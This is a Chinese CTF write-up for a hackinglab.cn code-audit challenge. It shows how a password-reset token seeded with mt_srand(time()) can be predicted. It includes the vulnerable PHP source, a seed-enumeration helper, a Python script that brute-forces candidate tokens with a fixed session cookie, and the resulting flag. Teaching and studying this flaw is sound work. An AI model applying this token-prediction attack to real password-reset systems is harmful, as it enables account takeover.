

小明学习代码审计writeup

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题目来自hackinglab.cn 综合关

题目地址: http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php

访问题目地址得到如下源码:

```
Please Reset Your Password Then Get your flag!  
<a href="./resetpwd.php"></a>
```

根据链接的复制访问resetpwd.php, 并查看网页源码, 发现注释中有PHP代码:

```
<?php  
session_start();  
include '_flag.php';  
date_default_timezone_set('Asia/Shanghai');  
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])  
    if($_POST['token']==$_SESSION['token']){  
        echo "PassResetSuccess! Your Flag is:".$flag;  
    }else{  
        echo "Token_error!";  
    }  
}else{  
    mt_srand(time());  
    $rand= mt_rand();  
    $_SESSION['token']=sha1(md5($rand));  
    echo "Token Generate Ok! now send email to your EmailBox!.....";  
    if(sendmail($_SESSION['token'])){  
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check  
    };  
}  
echo '<form action="" method="POST">  
    <input type="text" name="token">  
    <input type="submit" value="submit">  
</form>';  
echo "<!--\r\n".file_get_contents(__FILE__);  
?>
```

分析源码可知, 只有得到正确的token才能得到flag。如果未提交token, 直接请求resetpwd.php页面, token就会被重置。如果提交了token, token则不会改变。

代码中描述了token生成的方式，采用了随机数的方式

```
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
```

根据随机数生成的规则，只要mt_srand()的参数相同，生成的随机数其实是固定的。因此我们可以编写如下exp:

辅助脚本

```
$base = time();
//设定一个时间区间，来确保可以碰撞到正确的时间
for($i = -5;$i <= 5;$i++)
{
    mt_srand($base+$i);
    $rand = mt_rand();
    echo sha1(md5($rand))."<br/>";
}
```

EXP

```
import requests
r = requests.get('http://localhost/ttt.php')
r1t = r.text.split('<br/>')
r1t = r1t[:-1]
data = {}
header = {"Cookie":"PHPSESSID=294a9b966570ae34347a613e894d3271","Referer":"http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php"}
url = 'http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php'
#重置token
r = requests.get(url,headers=header)

for i in r1t:
    data["token"] = i
    r = requests.post(url,data=data,headers=header)
    r.encoding = r.apparent_encoding
    if "Token_error!" not in r.text[:60]:
        print(r.text[:60])
```

得到flag

```
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown<
```

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